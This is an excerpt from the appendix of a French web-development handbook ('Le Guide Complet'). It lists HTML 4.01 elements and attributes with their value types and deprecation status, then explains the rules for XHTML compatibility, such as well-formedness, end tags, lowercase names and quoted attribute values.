NOSCRIPT : conteneur de contenu alternatif pour un affichage non

fondé sur des scripts

OBJECT : objet incorporé générique

align : alignement vertical ou horizontal (déconseillé). %IAlign;
archive : liste d’URI séparées par des espaces. CDATA
border : largeur de la bordure du lien (déconseillé). %Pixels;
classid : identifie une mise en œuvre. %URI;
codebase : URI de base pour classid, data, archive. %URI;
codetype : type de contenu pour code. %ContentType;
data : référence vers les données de l’objet. %URI;
declare : déclaration d’un drapeau sans l’initialiser. (declare)
height : hauteur d’outrepassement. %Length;
hspace : intervalle horizontal (déconseillé). %Pixels;
name : soumettre comme partie d’un formulaire. CDATA
standby : message à afficher lors du chargement. %Text;
tabindex : position dans l’ordre de tabulation. NUMBER
type : type de contenu pour data. %ContentType;
usemap : emploi d’une carte image côté client. %URI;
vspace : intervalle vertical (déconseillé). %Pixels;
width : largeur d’outrepassement. %Length;

OL : liste ordonnée
compact : réduction de l’intervalle entre éléments (déconseillé).
(compact)
start : début du numéro de séquence (déconseillé). NUMBER
type : style de numérotation (déconseillé). %OLStyle;

LE GUIDE COMPLET 499

 Chapitre 12 Annexes

OPTGROUP : groupe d’options

disabled : indisponible dans ce contexte. (disabled)
label : employé dans les menus hiérarchiques (obligatoire). %Text;

OPTION : option pouvant être sélectionnée

disabled : indisponible dans ce contexte. (disabled)
label : employé dans les menus hiérarchiques. %Text;
selected : option présélectionnée. (selected)
value : par défaut, le contenu de l’élément. CDATA

P : paragraphe
align : alignement du texte (déconseillé). (left | center | right
| justify)

PARAM : valeur de propriété nommée

name : nom de la propriété (obligatoire). CDATA
type : type de contenu pour la valeur lorsque valuetype=ref.
%ContentType;
value : valeur de la propriété. CDATA
valuetype : mode d’interprétation de la valeur. (DATA | REF |
OBJECT)

PRE : texte préformaté

width : (déconseillé). NUMBER

Q : courte citation en ligne

cite : URI du document source ou message. %URI;

S : texte de style barré (déconseillé, DTD transitoire)

SAMP : exemple de sortie de programme, scripts, etc.

SCRIPT : instructions de script

charset : jeu de caractères de la ressource liée. %Charset;
defer : l’agent utilisateur peut interrompre l’exécution du script.
(defer)
language : nom de langage de script prédéfini (déconseillé). CDATA
src : URI d’un script externe. %URI;
type : type de contenu du langage de script (obligatoire).
%ContentType;

SELECT : sélecteur d’option

disabled : indisponible dans ce contexte. (disabled)

500 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

multiple : la valeur par défaut est une sélection simple. (multiple)

name : nom du champ. CDATA
onblur : l’élément a perdu le focus. %Script;
onfocus : l’élément a obtenu le focus. %Script;
size : lignes visibles. NUMBER
tabindex : position dans l’ordre de tabulation. NUMBER
onchange : la valeur de l’élément a été modifiée. %Script;

SMALL : texte en style diminué

SPAN : conteneur de langue/style générique

STRIKE : texte barré (déconseillé, DTD transitoire)

STRONG : emphase forte

STYLE : informations de style

media : conçu pour l’emploi avec ces médias. %MediaDesc;
type : type de contenu du langage de style (obligatoire).
%ContentType;

SUB : indice

SUP : exposant

TABLE : tableau
align : position relative du tableau dans la fenêtre (déconseillé).
%TAlign;
bgcolor : couleur d’arrière-plan des cellules. %Color;
border : contrôle la largeur de la bordure autour du tableau. %Pixels;
cellpadding : espacement entre cellules. %Length;
cellspacing : espacement entre cellules. %Length;
frame : les parties du cadre à afficher. %TFrame;
rules : lignes entre lignes et colonnes. %TRules;
summary : but/structure pour une sortie parlée. %Text;
width : largeur du tableau. %Length;

TBODY : corps de tableau

align : alignement (déconseillé). (left | center | right |
justify | char)
char : caractère d’alignement, par exemple char=’:’. %Character;

LE GUIDE COMPLET 501

 Chapitre 12 Annexes

charoff : décalage pour le caractère d’alignement. %Length;

valign : alignement vertical dans les cellules. (top | middle | bottom |
baseline)

TD : cellule de données de tableau

abbr : abréviation pour les cellules d’en-tête. %Text;
align : alignement (déconseillé). (left | center | right |
justify | char)
axis : liste séparée par des virgules d’en-têtes apparentés.
bgcolor : couleur d’arrière-plan d’une cellule (déconseillé). %Color;
char : caractère d’alignement, par exemple char=’:’. %Character;
charoff : décalage pour le caractère d’alignement. %Length;
colspan : nombre de colonnes fusionnées. NUMBER
headers : liste d’ID des cellules d’en-tête. IDREFS
height : hauteur de la cellule (déconseillé). %Length;
nowrap : suppression du retour à la ligne automatique (déconseillé).
(nowrap)
rowspan : nombre de lignes fusionnées dans une cellule. NUMBER
scope : portée des cellules d’en-tête. %Scope;
valign : alignement vertical dans les cellules. (top | middle |
bottom | baseline)
width : largeur de la cellule (déconseillé). %Length;

TEXTAREA : champ texte à lignes multiples

accesskey : touche d’accès rapide. %Character;
cols : nombre de colonnes (obligatoire). NUMBER
disabled : indisponible dans ce contexte. (disabled)
name : nom. #IMPLIED
onblur : l’élément a perdu le focus. %Script;
onchange : la valeur de l’élément a été modifiée. %Script;
onfocus : l’élément a obtenu le focus. %Script;
onselect : du texte a été sélectionné. %Script;
readonly : lecture seule. (readonly)
rows : nombre de lignes (obligatoire). NUMBER
tabindex : position dans l’ordre de tabulation. NUMBER

TFOOT : pied de tableau

align : alignement (déconseillé). (left | center | right |
justify | char)
char : caractère d’alignement, par exemple char=’:’. %Character;
charoff : décalage pour le caractère d’alignement. %Length;
valign : alignement vertical dans les cellules. (top | middle |
bottom | baseline)

502 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

TH : cellule d’en-tête de tableau

abbr : abréviation pour les cellules d’en-tête. %Text;
align : alignement (déconseillé). (left | center | right |
justify | char)
axis : liste séparée par des virgules d’en-têtes apparentés. CDATA
bgcolor : couleur d’arrière-plan d’une cellule (déconseillé). %Color;
char : caractère d’alignement, par exemple char=’:’. %Character;
charoff : décalage pour le caractère d’alignement. %Length;
colspan : nombre de colonnes fusionnées par cellule. NUMBER
headers : liste des ID des cellules d’en-tête. IDREFS
height : hauteur des cellules (déconseillé). %Length;
nowrap : suppression du passage automatique à la ligne (déconseillé).
(nowrap)
rowspan : nombre de lignes fusionnées par cellule. NUMBER
scope : portée des cellules d’en-têtes. %Scope;
valign : alignement vertical dans les cellules. (top | middle |
bottom | baseline)
width : largeur des cellules (déconseillé). %Length;

THEAD : en-tête de tableau

align : alignement (déconseillé). (left | center | right |
justify | char)
char : caractère d’alignement, par exemple char=’:’. %Character;
charoff : décalage pour le caractère d’alignement. %Length;
valign : alignement vertical dans les cellules. (top | middle |
bottom | baseline)

TITLE : titre du document

TR : ligne de tableau
align : alignement (déconseillé). (left | center | right |
justify | char)
abbr : abréviation pour les cellules d’en-tête. %Text;
bgcolor : couleur d’arrière-plan pour une ligne (déconseillé). %Color;
char : caractère d’alignement, par exemple char=’:’. %Character;
charoff : décalage du caractère d’alignement. %Length;
valign : alignement vertical dans les cellules. (top | middle |
bottom | baseline)

TT : texte de style téléscripteur, à espacement fixe

U : texte souligné (déconseillé, DTD transitoire)

LE GUIDE COMPLET 503

 Chapitre 12 Annexes

UL : liste non ordonnée (liste à puces)

compact : réduction de l’espace entre éléments (déconseillé).
(compact)
type : style de puces (déconseillé). %ULStyle;

VAR : instance de variable ou argument de programme

Attributs HTML 4.01

A
abbr : Abréviation pour cellule de rubrique. %Text;. Éléments TD et
TH.
accept−charset : liste des jeux de caractères reconnus. %Charsets;.
Élément FORM.
accept : liste de types MIME pour chargement d’un fichier sur le
serveur. %ContentTypes;. Éléments FORM, INPUT.
accesskey : touche d’accès rapide %Character;. Éléments A, AREA,
BUTTON, INPUT, LABEL, LEGEND, TEXTAREA.
action : Obligatoire. Gestionnaire de formulaires côté serveur.%URI;.
Élément FORM.
align : Alignement relatif au tableau. %CAlign;. Élément CAPTION.
align : alignement vertical ou horizontal (déconseillé, DTD
transitoire). %IAlign;. Éléments APPLET, IFRAME, IMG, INPUT,
OBJECT.
align : relativement au jeu de champs (déconseillé, DTD transitoire).
%LAlign;. Élément LEGEND.
align : position du tableau relativement à la fenêtre (déconseillé, DTD
transitoire). %TAlign;. Élément TABLE.
align : alignement (déconseillé, DTD transitoire). (left | center |
right). Élément HR.
align : alignement du texte (déconseillé, DTD transitoire). (left |
center | right | justify). Éléments DIV, H1, H2, H3, H4, H5, H6,
P.
align : alignement (déconseillé). (left | center | right |
justify | char). Éléments COL, COLGROUP, TBODY, TD, TFOOT, TH,
THEAD, TR.
alink : couleur des liens sélectionnés (déconseillé, DTD transitoire).
%Color;. Élément BODY.
alt : brève description (déconseillé, DTD transitoire). %Text;.
Élément APPLET.
alt : brève description. %Text;. Éléments AREA, IMG.

504 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

alt : brève description. CDATA. Élément INPUT.

archive : liste d’archives séparées par des virgules (déconseillé, DTD
transitoire). CDATA. Élément APPLET.
archive : liste d’URI séparés par des espaces. CDATA. Élément
OBJECT.
axis : liste des rubriques concernées séparées par des virgules. CDATA.
Éléments TD, TH.

B
background : mosaïque de textures pour l’arrière-plan du document
(déconseillé, DTD transitoire). %URI;. Élément BODY.
bgcolor : couleur d’arrière-plan des cellules (déconseillé, DTD
transitoire). %Color;. Élément TABLE.
bgcolor : couleur d’arrière-plan des rangées (déconseillé, DTD
transitoire). %Color;. Élément TR.
bgcolor : couleur d’arrière-plan des cellules (déconseillé, DTD
transitoire). %Color;. Éléments TD,TH.
bgcolor : couleur d’arrière-plan du document (déconseillé, DTD
transitoire). %Color;. Élément BODY.
border : épaisseur du contour du tableau. %Pixels;. Élément TABLE.
border : épaisseur de la bordure du lien (déconseillé, DTD transitoire).
%Pixels;. Éléments IMG, OBJECT.

C
cellpadding : espacement à l’intérieur des cellules. %Length;.
Élément TABLE.
cellspacing : espacement entre les cellules. %Length;. Élément
TABLE.
char : caractère d’alignement, par exemple char=’:’. %Character;.
Éléments COL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TR.
charoff : décalage du caractère d’alignement. %Length;. Éléments
COL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TR.
charset : encodage de caractères de la ressource reliée. %Charset;.
Éléments A, LINK, SCRIPT.
checked : pour les boutons radio et les cases à cocher. (checked).
Élément INPUT.
cite : URI du document ou message source. %URI;. Éléments
BLOCKQUOTE, Q.
cite : informations sur la raison du changement. %URI;. Éléments DEL,
INS.
class : liste de classes séparées par des espaces. CDATA. Tous les
éléments sauf BASE, BASEFONT, HEAD, HTML, META, PARAM, SCRIPT,
STYLE et TITLE.

LE GUIDE COMPLET 505

 Chapitre 12 Annexes

classid : identifie une implémentation %URI;. Élément OBJECT.

clear : contrôle l’écoulement du texte (déconseillé, DTD
transitoire).(left | all | right | none). Élément BR.
code : fichier de classe de l’applet (déconseillé, DTD transitoire).
CDATA. Élément APPLET.
codebase : URI de base pour les attributs classid, data, archive.
%URI;. Élément OBJECT.
codebase : URI de base optionnel pour l’applet (déconseillé, DTD
transitoire). %URI;. Élément APPLET.
codetype : type de contenu de l’attribut code. %ContentType;.
Élément OBJECT.
color : couleur du texte (déconseillé, DTD transitoire). %Color;.
Éléments BASEFONT, FONT.
cols : liste de longueurs, par défaut : 100% (1 colonne) (DTD
Frameset). %MultiLengths;. Élément FRAMESET.
cols : nombre de colonnes (obligatoire) (déconseillé, DTD transitoire).
NUMBER. Élément TEXTAREA.
colspan : nombre de colonnes couvertes par la cellule. NUMBER.
Éléments TD, TH.
compact : espacement inter-items réduit (déconseillé, DTD
transitoire).(compact). Éléments DIR, DL, MENU, OL, UL.
content : informations associées (obligatoire). CDATA. Élément META.
coords : liste de longueurs séparées par des virgules. %Coords;.
Élément AREA.
coords : à utiliser avec les images cliquables côté client. %Coords;.
Élément A.

D
data : référence aux données de l’objet. %URI;. Élément OBJECT.
datetime : date et heure du changement. %Datetime;. Éléments DEL,
INS.
declare : déclare mais n’instancie pas le drapeau. (declare).
Élément OBJECT.
defer : l’agent utilisateur peut différer l’exécution du script. (defer).
Élément SCRIPT.
dir : direction du texte faible/neutre. (ltr | rtl). Tous les éléments
sauf APPLET, BASE, BASEFONT, BDO, BR, FRAME, FRAMESET, IFRAME,
PARAM, SCRIPT.
dir : directionnalité (obligatoire). (ltr | rtl). Élément BDO.
disabled : indisponible dans ce contexte. (disabled). Éléments
BUTTON, INPUT, OPTGROUP, OPTION, SELECT, TEXTAREA.

506 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

E
enctype : type d’encodage. %ContentType;. Élément FORM.

F
face : liste de noms de police séparés par des virgules (déconseillé,
DTD transitoire). CDATA. Éléments BASEFONT, FONT.
for : correspond à la valeur ID du champ. IDREF. Élément LABEL.
frame : quelles parties du contour restituer ? %TFrame;. Élément
TABLE.
frameborder : bordures de cadre ou non ? (1 | 0). Éléments FRAME,
IFRAME.

H
headers : liste des id des cellules de rubrique. IDREFS. Éléments TD,
TH.
height : hauteur du cadre (déconseillé, DTD transitoire). %Length;.
Élément IFRAME.
height : hauteur de la cellule (déconseillé, DTD transitoire).
%Length;. Éléments TD, TH.
height : surclasser la hauteur. %Length;. Éléments IMG, OBJECT.
height : hauteur initiale (obligatoire) (déconseillé, DTD Transitoire).
%Length;. Élément APPLET.
href : URI de la ressource reliée. %URI;. Éléments A, AREA, LINK.
href : URI qui fait office d’URI de base. %URI;. Élément BASE.
hreflang : code de langue. %LanguageCode;. Éléments A, LINK.
hspace : gouttière horizontale (déconseillé, DTD transitoire).
%Pixels;. Éléments APPLET, IMG, OBJECT.
http−equiv : nom de l’en-tête de réponse HTTP. NAME. Élément META.

I
id : identifiant unique au document. ID. Tous les éléments sauf BASE,
HEAD, HTML, META, SCRIPT, STYLE, TITLE.
ismap : utiliser une image cliquable côté serveur. (ismap). Éléments
IMG, INPUT.

L
label : à utiliser dans les menus hiérarchiques. %Text;. Élément
OPTION.
label : à utiliser dans les menus hiérarchiques (obligatoire). %Text;.
Élément OPTGROUP
lang : code de langue. %LanguageCode;. Tous les éléments sauf
APPLET, BASE, BASEFONT, BR, FRAME, FRAMESET, IFRAME, PARAM,
SCRIPT.

LE GUIDE COMPLET 507

 Chapitre 12 Annexes

language : nom de langage de script prédéfini (déconseillé, DTD

transitoire). CDATA. Élément SCRIPT.
link : couleur des liens (déconseillé, DTD transitoire). %Color;.
Élément BODY.
longdesc : lien vers une description longue (en complément de
l’attribut alt). %URI;. Élément IMG.
longdesc : lien vers une description longue (en complément de
l’attribut title) (DTD Frameset). %URI;. Éléments FRAME, IFRAME.

M
marginheight : marges verticales en pixels (DTD Frameset).
%Pixels;. Éléments FRAME, IFRAME.
marginwidth : marges horizontales en pixels (DTD Frameset).
%Pixels;. Éléments FRAME, IFRAME.
maxlength : nombre de caractères maxi pour les champs de texte.
NUMBER. Élément INPUT.
media : prévu pour ces médias. %MediaDesc;. Élément STYLE.
media : pour restitution sur ces médias. %MediaDesc;. Élément LINK.
method : méthode HTTP utilisée pour soumettre le formulaire. (GET |
POST). Élément FORM.
multiple : sélection simple par défaut. (multiple). Élément
SELECT.

N
name : nom. CDATA. Éléments BUTTON, TEXTAREA.
name : permet aux applets de se trouver les uns les autres (déconseillé,
DTD transitoire). CDATA. Élément APPLET.
name : nom du champ. CDATA. Élément SELECT.
name : nom du formulaire pour les scripts. CDATA. Élément FORM.
name : nom du cadre pour le ciblage. (DTD Frameset). CDATA.
Éléments FRAME, IFRAME.
name : nom de l’image pour les scripts. CDATA. Élément IMG.
name : extrémité du lien nommée. CDATA. Élément A.
name : soumettre comme partie du formulaire. CDATA. Éléments INPUT,
OBJECT.
name : pour appel par l’attribut usemap (obligatoire). CDATA. Élément
MAP.
name : nom de propriété (obligatoire). CDATA. Élément PARAM.
name : nom des méta-informations (obligatoire). NAME. Élément META.
nohref : cette région est inactive. (nohref). Élément AREA.
noresize : autoriser l’utilisateur à redimensionner le cadre ? (DTD
Frameset). (noresize). Élément FRAME.
noshade : (déconseillé, DTD transitoire). (noshade). Élément HR.

508 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

nowrap : suppression de la césure (déconseillé, DTD transitoire).

(nowrap). Éléments TD, TH.

O
object : fichier d’applet sérialisé (déconseillé, DTD transitoire).
CDATA. Élément APPLET.
onblur : l’élément a perdu l’attention. %Script;. Éléments A, AREA,
BUTTON, INPUT, LABEL, SELECT, TEXTAREA.
onchange : la valeur de l’élément a changé. %Script;. Éléments
INPUT, SELECT, TEXTAREA.
onclick : le bouton d’un pointeur a été cliqué. %Script;. Tous les
éléments sauf APPLET, BASE, BASEFONT, BDO, BR, FONT, FRAME,
FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META, PARAM, SCRIPT,
STYLE, TITLE.
ondblclick : le bouton d’un pointeur a été double-cliqué. %Script;.
Tous les éléments sauf APPLET, BASE, BASEFONT, BDO, BR, FONT,
FRAME, FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META, PARAM,
SCRIPT, STYLE, TITLE.
onfocus : l’élément a reçu l’attention. %Script;. Éléments A, AREA,
BUTTON, INPUT, LABEL, SELECT, TEXTAREA.
onkeydown : une touche est appuyée. %Script;. Tous les éléments
sauf APPLET, BASE, BASEFONT, BDO, BR, FONT, FRAME, FRAMESET,
HEAD, HTML, IFRAME, ISINDEX, META, PARAM, SCRIPT, STYLE,
TITLE.
onkeypress : une touche a été pressée puis relâchée. %Script;. Tous
les éléments sauf APPLET, BASE, BASEFONT, BDO, BR, FONT, FRAME,
FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META, PARAM, SCRIPT,
STYLE, TITLE.
onkeyup : une touche est relâchée. %Script;. Tous les éléments sauf
APPLET, BASE, BASEFONT, BDO, BR, FONT, FRAME, FRAMESET, HEAD,
HTML, IFRAME, ISINDEX, META, PARAM, SCRIPT, STYLE, TITLE.
onload : tous les cadres ont été chargés (DTD Frameset). %Script;.
Élément FRAMESET.
onload : le document a été chargé. %Script;. Élément BODY.
onmousedown : le bouton d’un pointeur a été appuyé. %Script;. Tous
les éléments sauf APPLET, BASE, BASEFONT, BDO, BR, FONT, FRAME,
FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META, PARAM, SCRIPT,
STYLE, TITLE.
onmousemove : le bouton d’un pointeur a été déplacé à l’intérieur.
%Script;. Tous les éléments sauf APPLET, BASE, BASEFONT, BDO, BR,
FONT, FRAME, FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META,
PARAM, SCRIPT, STYLE, TITLE.

LE GUIDE COMPLET 509

 Chapitre 12 Annexes

onmouseout : le bouton d’un pointeur a été déplacé en dehors.

%Script;. Tous les éléments sauf APPLET, BASE, BASEFONT, BDO, BR,
FONT, FRAME, FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META,
PARAM, SCRIPT, STYLE, TITLE.
onmouseover : le bouton d’un pointeur a été déplacé sur. %Script;.
Tous les éléments sauf APPLET, BASE, BASEFONT, BDO, BR, FONT,
FRAME, FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META, PARAM,
SCRIPT, STYLE, TITLE.
onmouseup : le bouton d’un pointeur a été relâché. %Script;. Tous les
éléments sauf APPLET, BASE, BASEFONT, BDO, BR, FONT, FRAME,
FRAMESET, HEAD, HTML, IFRAME, ISINDEX, META, PARAM, SCRIPT,
STYLE, TITLE.
onreset : le formulaire a été réinitialisé. %Script;. Élément FORM.
onselect : un texte a été sélectionné. %Script;. Éléments INPUT,
TEXTAREA.
onsubmit : le formulaire a été soumis. %Script;. Élément FORM.
onunload : tous les cadres ont été retirés (DTD Frameset). %Script;.
Élément FRAMESET.
onunload : le document a été retiré. %Script;. Élément BODY.

P
profile : dictionnaire de méta-informations nommé. %URI;. Élément
HEAD.
prompt : message d’invite (déconseillé, DTD Transitoire). %Text;.
Élément ISINDEX.

R
Readonly : lecture seule. (readonly). Élément TEXTAREA.
readonly : pour les boutons de type text et passwd. (readonly).
Élément INPUT.
rel : types de liens progressifs. %LinkTypes;. Éléments A,LINK.
rev : types de liens régressifs. %LinkTypes;. Éléments A, LINK.
rows : liste de longueurs, par défaut : 100% (1 rangée) (DTD Frameset).
%MultiLengths;. Élément FRAMESET.
rows : nombre de lignes (obligatoire). NUMBER. Élément TEXTAREA.
rowspan : nombre de rangées couvertes par la cellule. NUMBER.
Éléments TD, TH.
rules : règles entre rangées et colonnes. %TRules;. Élément TABLE.

S
scheme : sélectionner une forme de contenu. CDATA. Élément META.
scope : portée des cellules de rubrique. %Scope;. Éléments TD, TH.
scrolling : barres de défilement ou non (DTD Frameset). (yes | no

510 LE GUIDE COMPLET

 Éléments et attributs HTML 4.01 Chapitre 12

| auto). Éléments FRAME, IFRAME.

selected : présélection. (selected). Élément OPTION.
shape : contrôle l’interprétation des coordonnées. %Shape;. Élément
AREA.
shape : à employer avec les images cliquables côté client. %Shape;.
Élément A.
size : taille (déconseillé, DTD Transitoire). %Pixels;. Élément HR.
size : taille de la police, [+|−]entier, par exemple size="+1",
size="4" (déconseillé, DTD transitoire). CDATA. Élément FONT.
size : propre à chaque type de champ. CDATA. Élément INPUT.
size : taille de police de base pour les éléments FONT (obligatoire)
(déconseillé, DTD transitoire). CDATA. Élément BASEFONT.
size : rangées visibles. NUMBER. Élément SELECT.
span : Les attributs de l’élément COL affectent « n » colonnes. NUMBER.
Élément COL.
span : nombre de colonnes par défaut dans le groupe. NUMBER. Élément
COLGROUP.
src : URI d’un script externe. %URI;. Élément SCRIPT.
src : pour les champs avec des images. %URI;. Élément INPUT.
src : source du contenu du cadre (DTD Frameset). %URI;. Éléments
FRAME, IFRAME.
src : URI de l’image à incorporer (obligatoire). %URI;. Élément IMG.
standby : message à montrer pendant le chargement. %Text;. Élément
OBJECT.
start : numéro commençant la séquence (déconseillé, DTD
transitoire). NUMBER. Élément OL.
style : indications de style associées. %StyleSheet;. Tous les
éléments sauf BASE, BASEFONT, HEAD, HTML, META, PARAM, SCRIPT,
STYLE, TITLE.
summary : objet/structure pour sortie vocale. %Text;. Élément TABLE.

T
tabindex : position dans l’ordre de tabulation. NUMBER. Éléments A,
AREA, BUTTON, INPUT, OBJECT, SELECT, TEXTAREA.
target : restituer dans ce cadre (DTD Transitoire). %FrameTarget;.
Éléments A, AREA, BASE, FORM, LINK.
text : couleur du texte du document (déconseillé, DTD transitoire).
%Color;. Élément BODY.
title : titre consultatif. %Text;. Tous les éléments sauf BASE,
BASEFONT, HEAD, HTML, META, PARAM, SCRIPT, TITLE.
type : type de contenu consultatif. %ContentType;. Éléments A,
LINK.

LE GUIDE COMPLET 511

 Chapitre 12 Annexes

type : type de contenu pour l’attribut data. %ContentType;. Élément

OBJECT.
type : type de contenu pour l’attribut value quand valuetype=ref.
%ContentType;. Élément PARAM.
type : type de contenu du langage de script (obligatoire).
%ContentType;. Élément SCRIPT.
type : type de contenu du langage de style (obligatoire).
%ContentType;. Élément STYLE.
type : le genre de gadget voulu. %InputType;. Élément INPUT.
type : style de l’item de liste (déconseillé, DTD transitoire).
%LIStyle;. Élément LI.
type : style de numérotation (déconseillé, DTD transitoire).
%OLStyle;. Élément OL.
type : style de puces (déconseillé, DTD transitoire). %ULStyle;.
Élément UL.
type : utiliser comme bouton de formulaire. (button | submit |
reset). Élément BUTTON.

U
usemap : utiliser une image cliquable côté client. %URI;. Éléments IMG,
INPUT, OBJECT.

V
valign : Alignement vertical dans les cellules. (top | middle |
bottom | baseline). Éléments COL, COLGROUP, TBODY, TD, TFOOT,
TH, THEAD, TR.
value : spécifier pour les boutons radio et les cases à cocher. CDATA.
Élément INPUT.
value : par défaut, le contenu de l’élément. CDATA. Élément OPTION.
value : valeur de propriété. CDATA. Élément PARAM.
value : envoyé au serveur à la soumission. CDATA. Élément BUTTON.
value : réinitialise le numéro dans la séquence (déconseillé, DTD
transitoire). NUMBER. Élément LI.
valuetype : comment interpréter la valeur ? (déconseillé, DTD
transitoire). (DATA | REF | OBJECT). Élément PARAM.
version : une constante (déconseillé, DTD transitoire). CDATA.
Élément HTML.
vlink : couleur des liens visités (déconseillé, DTD transitoire).
%Color;. Élément BODY.
vspace : gouttière verticale (déconseillé, DTD transitoire). %Pixels;.
Éléments APPLET, IMG, OBJECT.

512 LE GUIDE COMPLET

 Compatibilité XHTML/HTML Chapitre 12

W
width : largeur (déconseillé, DTD transitoire). %Length;. Élément HR.
width : largeur du cadre (DTD transitoire). %Length;. Élément
IFRAME.
width : surclasser la largeur. %Length;. Éléments IMG, OBJECT.
width : largeur du tableau. %Length;. Élément TABLE.
width : largeur de la cellule (déconseillé, DTD transitoire). %Length;.
Éléments TD, TH.
width : largeur initiale (obligatoire) (déconseillé, DTD transitoire).
%Length;. Élément APPLET.
width : spécification de la largeur de colonne. %MultiLength;.
Élément COL.
width : largeur par défaut des éléments COL contenus.
%MultiLength;. Élément COLGROUP.
width : largeur (déconseillé, DTD transitoire). NUMBER. Élément PRE.

12.3. Compatibilité XHTML/HTML

Comme XHTML est une application XML, certaines habitudes
parfaitement légales dans le HTML 4 fondé sur SGML doivent être
amendées.

Rédaction correcte des documents

La rédaction correcte est un nouveau concept introduit par XML. Il
signifie essentiellement qu’un élément doit toujours posséder une balise
de fin ou être écrit selon une forme particulière (voir ci-dessous). En
outre, tous les éléments doivent être imbriqués et non se chevaucher.

Tableau 12.2 : « La rédaction correcte »

CORRECT INCORRECT

éléments imbriqués éléments se chevauchant

<p>ceci est un paragraphe <p>ceci est un paragraphe

<em>avec emphase</em>.</p> <em>avec emphase.</p></em>

LE GUIDE COMPLET 513

 Chapitre 12 Annexes

Noms des éléments et des attributs en

minuscules
Les documents XHTML doivent employer la casse « minuscules » pour
tous les noms d’élément HTML et les noms d’attribut. Cette différence
est nécessaire, car XML est sensible à la casse (<li> et <LI> sont des
balises différentes).

Balises de fin obligatoires

Dans le HTML 4 fondé sur SGML, il est possible d’omettre la balise de
fin de certains éléments, l’élément suivant créant une balise de fin
implicite. Cette omission n’est plus autorisée dans le XHTML fondé sur
XML. Tous les éléments autres que ceux déclarés dans la DTD comme
EMPTY doivent posséder une balise de fin.

Tableau 12.3 : XHTML : balise de fin obligatoire

CORRECT INCORRECT

éléments terminés éléments non terminés

<p>Ceci est un <p>Ceci est un

paragraphe.</p><p> Ceci paragraphe.<p>Ceci est un
est un autre autre paragraphe.
paragraphe.</p>

Les éléments vides doivent toujours posséder une balise de fin ou la

balise de début se terminer avec />. Par exemple, <br/> ou
<hr></hr>.

Tableau 12.4 : Éléments vides

CORRECT INCORRECT

balises vides terminées balises vides non terminées

<br/><hr/> <br><hr>

Vous devez placer un espacement avant le / et > de fin des éléments

vides, par exemple <br />, <hr /> et <img src="[Link]"
alt="Karen" />. Utilisez également une syntaxe minimale pour les
éléments vides, par exemple <br />, comme syntaxe alternative de
<br></br> qui est autorisé par XML, car cela donne des résultats
inattendus avec certains agents utilisateurs.

514 LE GUIDE COMPLET

 Compatibilité XHTML/HTML Chapitre 12

En cas toutefois d’occurrence vide d’un élément dont le modèle de

contenu n’est pas EMPTY (par exemple, un titre ou un paragraphe vide),
n’utilisez pas la forme minimisée : utilisez <p></p> et non <p />.

Encodage de caractères
Pour spécifier l’encodage de caractères dans le document, utilisez la
spécification de l’attribut d’encodage dans la déclaration xml (par
exemple <?xml version="1.0" encoding="EUC−JP"?>) et une
déclaration meta http-equiv (par exemple <meta http−equiv=
"Content−type" content=’text/html; charset="EUC−JP"’
/>). La valeur de l’attribut d’encodage de l’instruction de traitement xml
est prioritaire.

Remarques sur les éléments

Éléments script et style

En XHTML, les éléments script et style sont déclarés comme
possédant un contenu de type #PCDATA. Ainsi, < et & seront-ils traités
comme le début d’un balisage, et les entités comme &lt; et &amp;
seront-elles reconnues comme des références d’entités par le processeur
XML, soit respectivement < et &. Emballer le contenu des éléments
script ou style à l’intérieur d’une section marquée CDATA évitera la
transformation de ces entités.
<script>
<![CDATA[
... contenu script non echappé ...
]]>
</script>

Les sections CDATA sont reconnues par le processeur XML et

apparaissent comme des nœuds dans le Modèle Objet de Document.
Une alternative consiste à employer des scripts et des styles externes.

Utilisez des feuilles de style externes si votre feuille de style utilise < ou
& ou ]]> ou −−. Utilisez des scripts externes si vos scripts utilisent < ou
& ou ]]> ou −−. Les parseurs XML ont le droit d’éliminer le contenu des
commentaires. Par conséquent, la pratique historique de « cacher » ses
scripts et ses feuilles de style au sein d’un commentaire pour rendre les
documents compatibles avec les anciens navigateurs n’est pas

LE GUIDE COMPLET 515

 Chapitre 12 Annexes

conseillée : elle ne fonctionnera pas comme attendu dans les mises en

œuvre basées sur XML.

Élément isindex
Ne mettez pas plus d’un élément isindex dans le head d’un
document. L’élément isindex est abandonné en faveur de l’élément
input.

Remarques sur les attributs

XML ne supporte pas la minimisation des attributs. La paire
valeur/attribut doit être écrite au complet. Les noms d’attributs tels que
compact et checked ne peuvent pas être pris comme éléments sans
que leur valeur soit spécifiée.

Tableau 12.5 : Valeur obligatoire

CORRECT INCORRECT

attributs non minimisés attributs minimisés

<dl compact="compact"> <dl compact>

Quelques agents utilisateurs HTML sont toutefois incapables

d’interpréter les attributs booléens quand ils apparaissent dans leur
forme complète (non minimisée), tels que requis par XML 1.0. Notez
que ce problème n’affecte pas les agents utilisateurs compatibles avec
HTML 4. Cela concerne les attributs compact, nowrap, ismap,
declare, noshade, checked, disabled, readonly, multiple,
selected, noresize, defer.

Toutes les valeurs d’attributs doivent être mises entre guillemets, même
celles qui semblent être numériques.

Tableau 12.6 : Guillemets impératifs

CORRECT INCORRECT

valeurs d’attributs entre guillemets valeurs d’attributs sans les guillemets

<table rows="3"> <table rows=3>

516 LE GUIDE COMPLET

 Compatibilité XHTML/HTML Chapitre 12

Dans les valeurs d’attributs, les agents utilisateurs ôteront les

espacements de début et de fin des valeurs d’attributs et dresseront une
séquence d’un ou plusieurs caractères d’espacement (tels que les retours
de lignes) à un unique espacement « intermots » (un caractère
d’espacement ASCII pour les écritures occidentales).

Évitez les retours de ligne et les caractères d’espacement multiples au

sein des valeurs d’attributs. Ils seront traités illogiquement par les agents
utilisateurs.

